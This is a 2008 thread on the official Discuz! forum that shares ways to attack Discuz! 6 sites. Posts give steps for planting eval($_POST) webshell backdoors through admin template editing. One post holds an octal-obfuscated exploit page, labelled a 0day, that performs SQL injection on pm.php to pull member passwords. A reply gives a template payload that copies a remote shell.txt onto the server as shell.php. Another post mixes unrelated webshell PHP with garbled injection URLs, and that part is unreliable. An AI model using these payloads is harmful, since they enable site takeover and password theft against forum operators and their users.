Discuz!官方免费开源建站系统

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索

紧急!华夏黑客出现Discuz! 6 后台拿webshell的方法

[复制链接]
408968722 发表于 2008-2-11 11:02:14 | 显示全部楼层 |阅读模式
本人看不懂,也不知道是真是假,请开发团队注意!

如果后台可以在线编辑模板的话,下面的方法就可以拿webshell了:
1.后台编辑customfaq(customfaq.lang.php文件)
在<?的后面加上
Quote:
eval($_POST[c]);


2.后台编辑misc(misc.lang.php文件)
把post_reply_quote对应的内容改为
Quote:
";eval($_POST[c]);"


在前台回帖处选择引用回复。
简单看下代码:

include/newreply.inc.php  107行:
Quote:
eval("\$language['post_reply_quote'] = \"$language[post_reply_quote]\";");


呵呵,一个天然的后门:
PS:还有几个编辑模板的地方可以利用,和第二种方法类似。

[ 本帖最后由 408968722 于 2008-4-11 18:04 编辑 ]
 楼主| 408968722 发表于 2008-2-11 11:04:00 | 显示全部楼层

Powered by Discuz! 6.0.0漏洞

Powered by Discuz! 6.0.0漏洞

// 允许程序在 register_globals = off 的环境下工作
$onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals');

if ($onoff != 1) {
@extract($_POST, EXTR_SKIP);
@extract($_GET, EXTR_SKIP);
}

$self = $_SERVER['PHP_SELF'];
$dis_func = get_cfg_var("disable_functions");


/*===================== 身份验证 =====================*/
if($admin['check'] == "1") {
if ($_GET['action'] == "logout") {
  setcookie ("adminpass", "");
  echo "<meta http-equiv=\"refresh\" content=\"3;URL=".$self."\">";
  echo "<span style=\"font-size: 12px; font-family: Verdana\">注销成功......<p><a href=\"".$self."\">三秒后自动退出或单击这里退出程序界面 >>></a></span>";
  exit;
}

if ($_POST['do'] == 'login') {
  $thepass=trim($_POST['adminpass']);
  if ($admin['pass'] == $thepass) {
    setcookie ("adminpass",$thepass,time()+(1*24*3600));
    echo "<meta http-equiv=\"refresh\" content=\"3;URL=".$self."\">";
    echo "<span style=\"font-size: 12px; font-family: Verdana\">登陆成功......<p><a href=\"".$self."\">三秒后自动跳转或单击这里进入程序界面 >>></a></span>";
    exit;
  }
}
if (isset($_COOKIE['adminpass'])) {
  if ($_COOKIE['adminpass'] != $admin['pass']) {
    loginpage();
  }
} else {
  loginpage();
}
}
/*===================== 验证结束 =====================*/

// 判断 magic_quotes_gpc 状态
if (get_magic_quotes_gpc()) {
    $_GET = stripslashes_array($_GET);
$_POST = stripslashes_array($_POST);
}
---------------------------------------------------------------------------------------------------------------------
https://discuz.dismall.com/admin/logging.php?action=login
可以跳到其它目录
注册登录后利用

https://discuz.dismall.com/search.php?user%id=100
可以进行injection……

只能手工注射

注意:showpath里必须包含用户自己的路径
如果限制的话,还可以向上跳,向上级传文件的时候,不能直接
http://www. https://discuz.dismall.com/user/up/_id=../../....../(注射语句)
就包含用户路径
https://discuz.dismall.com/member.php ... rNumber=1402257EE8F
不然不能进行注射。

文件漏洞代码如下
<?
define('__SYSTEM_ROOT', '');
include dirname(__FILE__).'/framework_gb/framework.php';

using('System.Data.Data');
using('System.Data.Plugins.Option');
using('System.Page.Page');
using('System.Smarty.Smarty');
using('System.Functions.Functions');


require_once __SYSTEM_ROOT."global.php";
require_once __SYSTEM_ROOT."vars.php";

$db=new stdClass();

$db=$Data->getDB();
/*

echo '<pre>';
print_r($Data);
*/
?>
可以直接注射,拿到后台密码。
回复

使用道具 举报

 楼主| 408968722 发表于 2008-2-11 11:07:22 | 显示全部楼层

Discuz! pm.php注入的EXP源码

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>Dz 0day by Jackal</title>
<SCRIPT LANGUAGE="JavaScript">
<!--
function ReplaceDemo(temp){
var r, re;
re = /(S+)(s+)(S+)/g;
r = temp.replace(re, "$3$2$1");
return(r);
}
//-->
</SCRIPT>
</head>
<style>BODY { FONT-SIZE: 9pt; COLOR: #000000; FONT-FAMILY: "Courier New"; scrollbar-face-color:#E4E4F3; scrollbar-highlight-color:#FFFFFF; scrollbar-3dlight-color:#E4E4F3; scrollbar-darkshadow-color:#9C9CD3; scrollbar-shadow-color:#E4E4F3; scrollbar-arrow-color:#4444B3; scrollbar-track-color:#EFEFEF;}
TABLE { FONT-SIZE: 9pt; FONT-FAMILY: "Courier New"; BORDER-COLLAPSE: collapse; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: solid; border-right-style: none; border-bottom-style: none; border-left-style: solid; border-top-color: #d8d8f0; border-right-color: #d8d8f0; border-bottom-color: #d8d8f0; border-left-color: #d8d8f0;}
.tr { font-family: "Courier New"; font-size: 9pt; background-color: #e4e4f3; text-align: center;}
.td { font-family: "Courier New"; font-size: 9pt; background-color: #f9f9fd;}
.warningColor { font-family: "Courier New"; font-size: 9pt; color: #ff0000;}
input { font-family: "Courier New"; BORDER-TOP-WIDTH: 1px; BORDER-LEFT-WIDTH: 1px; FONT-SIZE: 12px; BORDER-BOTTOM-WIDTH: 1px;BORDER-RIGHT-WIDTH: 1px; color: #000000;}
textarea { font-family: "Courier New"; BORDER-TOP-WIDTH: 1px; BORDER-LEFT-WIDTH: 1px; FONT-SIZE: 12px; BORDER-BOTTOM-WIDTH: 1px; BORDER-RIGHT-WIDTH: 1px; color: #000000;}
A:link { FONT-SIZE: 9pt; COLOR: #000000; FONT-FAMILY: "Courier New"; TEXT-DECORATION: none;}
tr { font-family: "Courier New"; font-size: 9pt; line-height: 18px;}
td { font-family: "Courier New"; font-size: 9pt; border-top-width: 1px; border-right-width: 1px; border-bottom-width: 1px; border-left-width: 1px; border-top-style: none; border-right-style: solid; border-bottom-style: solid; border-left-style: none; border-top-color: #d8d8f0; border-right-color: #d8d8f0; border-bottom-color: #d8d8f0; border-left-color: #d8d8f0;}
.trHead { font-family: "Courier New"; font-size: 9pt; background-color: #e4e4f3; line-height: 3px;}
.inputLogin { font-family: "Courier New"; font-size: 9pt; border: 1px solid #d8d8f0; background-color: #f9f9fd; vertical-align: bottom;}
</style>
<body>
<SCRIPT LANGUAGE="JavaScript">
<!--
document.write("\74\123\103\122\111\120\124\40\114\101\116\107\125\101\107\105\75\42\112\141\166\141\123\143\162\151\160\164\42\76\15\12\74\41\55\55\15\12\164\145\163\164\75\47\167\151\144\164\150\75\42\67\66\60\42\40\74\164\141\142\154\145\40\141\154\151\147\156\75\42\143\145\156\164\145\162\42\40\142\157\162\144\145\162\75\42\60\42\40\143\145\154\154\163\160\141\143\151\156\147\75\42\60\42\76\74\146\157\162\155\40\143\145\154\154\160\141\144\144\151\156\147\75\42\60\42\40\150\145\151\147\150\164\75\42\62\62\42\40\155\145\164\150\157\144\75\42\160\157\163\164\42\76\74\164\162\76\74\164\144\40\105\170\160\74\57\164\144\76\74\57\164\162\76\74\164\162\76\74\164\144\40\143\154\141\163\163\75\42\164\144\42\76\46\156\142\163\160\73\104\172\65\56\60\40\150\145\151\147\150\164\75\42\61\70\42\40\143\154\141\163\163\75\42\164\162\110\145\141\144\42\76\46\156\142\163\160\73\74\57\164\144\76\74\57\164\162\76\74\164\162\76\74\164\144\40\74\151\156\160\165\164\40\143\154\141\163\163\75\42\164\144\42\76\46\156\142\163\160\73\46\156\142\163\160\73\125\162\154\72\40\164\171\160\145\75\42\164\145\170\164\42\40\156\141\155\145\75\42\164\150\145\101\143\164\151\157\156\42\40\166\141\154\165\145\75\42\150\164\164\160\72\57\57\63\70\60\60\150\153\56\143\157\155\42\40\151\144\75\42\164\150\145\101\143\164\151\157\156\42\40\157\156\102\154\165\162\75\164\150\151\163\56\146\157\162\155\56\164\150\145\62\101\143\164\151\157\156\56\166\141\154\165\145\75\164\150\151\163\56\146\157\162\155\56\164\150\145\101\143\164\151\157\156\56\166\141\154\165\145\53\42\57\160\155\56\160\150\160\77\141\143\164\151\157\156\75\163\145\156\144\46\160\155\163\165\142\155\151\164\75\171\145\163\42\76\74\102\122\76\74\151\156\160\165\164\40\163\151\172\145\75\42\65\60\42\40\164\171\160\145\75\42\150\151\144\144\145\156\42\40\156\141\155\145\75\42\164\150\145\62\101\143\164\151\157\156\42\40\166\141\154\165\145\75\42\42\76\46\156\142\163\160\73\110\141\163\150\72\40\151\144\75\42\164\150\145\62\101\143\164\151\157\156\42\40\164\171\160\145\75\42\164\145\170\164\42\40\74\151\156\160\165\164\40\166\141\154\165\145\75\42\60\60\71\64\142\64\70\70\42\76\46\156\142\163\160\73\46\156\142\163\160\73\46\156\142\163\160\73\115\163\147\164\157\72\74\151\156\160\165\164\40\156\141\155\145\75\42\146\157\162\155\150\141\163\150\42\40\156\141\155\145\75\42\155\163\147\164\157\42\40\164\171\160\145\75\42\164\145\170\164\42\40\166\141\154\165\145\75\42\152\141\143\153\141\154\42\76\74\102\122\76\74\151\156\160\165\164\40\163\151\172\145\75\42\61\60\42\40\156\141\155\145\75\42\163\165\142\152\145\143\164\42\40\164\171\160\145\75\42\150\151\144\144\145\156\42\40\166\141\154\165\145\75\42\141\141\42\76\74\151\156\160\165\164\40\163\151\172\145\75\42\61\60\42\40\156\141\155\145\75\42\155\145\163\163\141\147\145\42\40\164\171\160\145\75\42\150\151\144\144\145\156\42\40\74\151\156\160\165\164\40\166\141\154\165\145\75\42\141\141\42\76\46\156\142\163\160\73\46\156\142\163\160\73\123\121\114\72\40\163\151\172\145\75\42\61\60\60\42\40\164\171\160\145\75\42\164\145\170\164\42\40\166\141\154\165\145\75\42\60\51\40\156\141\155\145\75\42\155\163\147\164\157\142\165\144\144\171\163\133\135\42\40\163\145\154\145\143\164\40\165\156\151\157\156\40\146\162\157\155\40\160\141\163\163\167\157\162\144\54\62\54\60\40\167\150\145\162\145\40\143\144\142\137\155\145\155\142\145\162\163\40\143\154\141\163\163\75\42\164\144\42\40\165\151\144\75\61\57\52\42\76\74\57\164\144\76\74\57\164\162\76\74\164\162\76\74\164\144\40\164\171\160\145\75\42\163\165\142\155\151\164\42\40\141\154\151\147\156\75\42\143\145\156\164\145\162\42\76\74\151\156\160\165\164\40\166\141\154\165\145\75\42\40\156\141\155\145\75\42\123\165\142\155\151\164\42\40\42\40\107\117\107\117\107\117\40\164\171\160\145\75\42\162\145\163\145\164\42\40\157\156\103\154\151\143\153\75\42\164\150\151\163\56\146\157\162\155\56\141\143\164\151\157\156\75\164\150\151\163\56\146\157\162\155\56\164\150\145\62\101\143\164\151\157\156\56\166\141\154\165\145\73\42\76\74\151\156\160\165\164\40\166\141\154\165\145\75\42\40\156\141\155\145\75\42\123\165\142\155\151\164\63\62\42\40\42\76\74\57\164\144\76\74\57\164\162\76\74\164\162\76\74\164\144\40\122\145\163\145\164\40\150\145\151\147\150\164\75\42\62\62\42\40\143\154\141\163\163\75\42\164\162\110\145\141\144\42\76\46\156\142\163\160\73\74\57\164\144\76\74\57\164\162\76\74\164\162\76\74\164\144\40\143\154\141\163\163\75\42\164\144\42\76\120\157\167\145\162\145\144\40\141\154\151\147\156\75\42\162\151\147\150\164\42\40\74\141\40\102\171\40\164\151\164\154\145\75\42\121\121\72\65\60\61\71\62\65\62\70\42\76\112\141\143\153\141\154\74\57\141\76\40\150\162\145\146\75\42\150\164\164\160\72\57\57\150\151\56\142\141\151\144\165\56\143\157\155\57\144\145\154\157\166\145\162\57\42\40\74\57\164\162\76\40\62\60\60\67\56\63\46\156\142\163\160\73\74\57\164\144\76\40\74\57\164\141\142\154\145\76\40\74\57\146\157\162\155\76\47\73\15\12\144\157\143\165\155\145\156\164\56\167\162\151\164\145\50\122\145\160\154\141\143\145\104\145\155\157\50\164\145\163\164\51\51\15\12\57\57\55\55\76\15\12\74\57\123\103\122\111\120\124\76")
//-->
</SCRIPT>
</body></html>
回复

使用道具 举报

纳米 发表于 2008-2-11 18:21:43 | 显示全部楼层
如果能编辑模板
为何不直接挂马呢?
莫非dz处理了? 我很多年前就那样做了
回复

使用道具 举报

纳米 发表于 2008-2-11 18:45:14 | 显示全部楼层

纳米版 后台编辑模板得到WebShell法

只要是dz的模板编辑原理, 只要能编辑模板, 无论是以前, 现在, 还是以后的dz版本, 全部可以搞定, 方便快捷!

1. 随便选择一个模板
2. 找一个空间上传一个wehsehll, 假定其地址为http://xx/shell.txt
3. 在任意一个位置输入:

  1. {eval copy('http://xx/shell.txt', DISCUZ_ROOT.'./forumdata/shell.php');}
复制代码
4. 保存, 刷新Cache
5. 访问该模板所属的php
6. 把模板改回原来的样子

大功告成, 可以访问/forumdata/shell.php了
回复

使用道具 举报

sw08 发表于 2008-2-11 18:51:35 | 显示全部楼层

回复 5# 纳米 的帖子

有空看看我刚修改完的:https://discuz.dismall.com/thread-850038-1-1.html

菜鸟都会用
回复

使用道具 举报

纳米 发表于 2008-2-11 19:04:08 | 显示全部楼层
原帖由 sw08 于 2008-2-11 06:51 PM 发表
有空看看我刚修改完的:https://discuz.dismall.com/thread-850038-1-1.html

菜鸟都会用

很好...只是来讽刺一下那些无聊的黑客
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|Discuz! 官方站 ( 皖ICP备16010102号 )star

GMT+8, 2024-5-17 10:22 , Processed in 0.113677 second(s), 16 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表